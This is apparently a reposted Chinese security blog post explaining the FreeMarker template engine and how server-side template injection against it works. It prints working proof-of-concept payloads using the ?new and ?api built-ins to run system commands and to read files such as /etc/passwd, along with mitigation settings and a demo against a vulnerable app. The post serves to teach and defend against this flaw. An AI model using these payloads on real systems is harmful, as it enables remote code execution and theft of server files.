点击蓝字,关注我们
一、FreeMarker是什么
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库
,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
二、FreeMarker语法
FreeMarker将动态的数据通过EL表达式(即所谓的插值)获取。当访问模板的时候,将JAVA中获取到的数据替换掉。
<
html
>
<
head
>
<
title
>
Welcome!
</
title
>
</
head
>
<
body
>
<
h1
>
Welcome ${user}!
</
h1
>
<
p
>
Our latest product:
<
a
href
=
"${latestProduct.url}"
>
${latestProduct.name}
</
a
>
!
</
body
>
</
html
>
三、FreeMarker指令
assign自定义变量指令
使用assign指令你可以创建一个新的变量,或者替换一个已经存在的变量。
<
--
#
assign
自定义变量指令
语法:
<#
assign
变量名=
值
>
<
#assign变量名=值变量名=值
>
(定义多个变量)
-->
<
#assign
str
=
"hello"
>
${str}
<
br
>
<
#assign
num
=
l
names
=
[
"
zhangsan
","
lisi
","
wangwu
"] >
${num} -- ${names?join(",")}
四、内建函数
主要关注以下几个内建函数。相关官方文档:http://freemarker.foofun.cn/ref_builtins_expert.html
new
这是用来创建一个确定的 TemplateModel
实现变量的内建函数,也就是说new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量。利用这一点能达到执行任意代码的目的。
Execute、ObjectConstructor、JythonRuntime这三个类都继承了TemplateModel,且都可以执行命令。就是较低版本FreeMarker模板注入的根因。
在 ?
的左边你可以指定一个字符串, 是 TemplateModel
实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。
模板作者可以创建任意的Java对象,只要它们实现了 TemplateModel
接口,然后来使用这些对象。 而且模板作者可以触发没有实现 TemplateModel
接口的类的静态初始化块。
根据以上知识可构造出下面的POC:
<
#--
通过调用类的函数创建用户定义的指令
--
>
<
#assign
value
=
"freemarker.template.utility.Execute"
?
new
()>
${value("calc")}
<
#assign
value
=
"freemarker.template.utility.ObjectConstructor"
?
new
()>
${value("java.lang.ProcessBuilder","calc").start()}
<
#assign
value
=
"freemarker.template.utility.JythonRuntime"
?
new
()>
<
@value
>
import os;os.system("calc")
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
-
UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。 -
SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类。 -
ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过 freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()
函数对freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类的解析。
api
api内建函数并不能随意使用,必须在配置项api_builtin_enabled为true时才有效,而该配置在2.3.22版本之后默认为false
如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod()
常见的两种利用方式:
1、通过内建函数api获取类的classloader然后加载恶意类
2、通过Class.getResource的返回值来访问URI对象。URI对象包含toURL和create方法,通过这两个方法创建任意URI,然后用toURL访问任意URL。
POC :
<
#assign
classLoader
=
object?api.class.protectionDomain.classLoader
>
<
#assign
clazz
=
classLoader.loadClass(
"
ClassExposingGSON
")>
<
#assign
field
=
clazz?api.getField(
"
GSON
")>
<
#assign
gson
=
field?api.get(null)
>
<
#assign
ex
=
gson?api.fromJson(
"{}",
classLoader.loadClass
("
freemarker.template.utility.Execute
"))>
${ex("calc)}
任意文件读取的 POC 如下:
<
#assign
uri
=
object?api.class.getResource(
"/")
.toURI
()>
<
#assign
input
=
uri?api.create(
"
file:
///
etc
/
passwd
")
.toURL
()
.openConnection
()>
<
#assign
is
=
input?api.getInputStream()
>
FILE:[
<
#list
0..999999999
as
_
>
<
#assign
byte
=
is.read()
>
<
#if
byte
==
-1
>
<
#break
>
</
#if
>
${byte},
</
#list
>
]
<
#assign
is
=
object?api.class.getResourceAsStream(
"/
Test.class
")>
FILE:[
<
#list
0..999999999
as
_
>
<
#assign
byte
=
is.read()
>
<
#if
byte
==
-1
>
<
#break
>
</
#if
>
${byte},
</
#list
>
]
五、案例演示
漏洞触发点为模版输入的参数。
漏洞触发点为渲染后的内容:
访问/hello接口构造数据包,为正常的渲染内容。
访问/template接口构造POC:
这里就是重新渲染了hello.ftl,接着访问/hello,成功执行命令。
代码获取
链接:https://pan.baidu.com/s/14fc6HRiZs12CXfTlLk6JjA?pwd=5vnv 提取码:5vnv
链接失效请公众号后台留言联系我更新
原文始发于微信公众号(TimeAxis Sec):FreeMarker模板注入原理分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论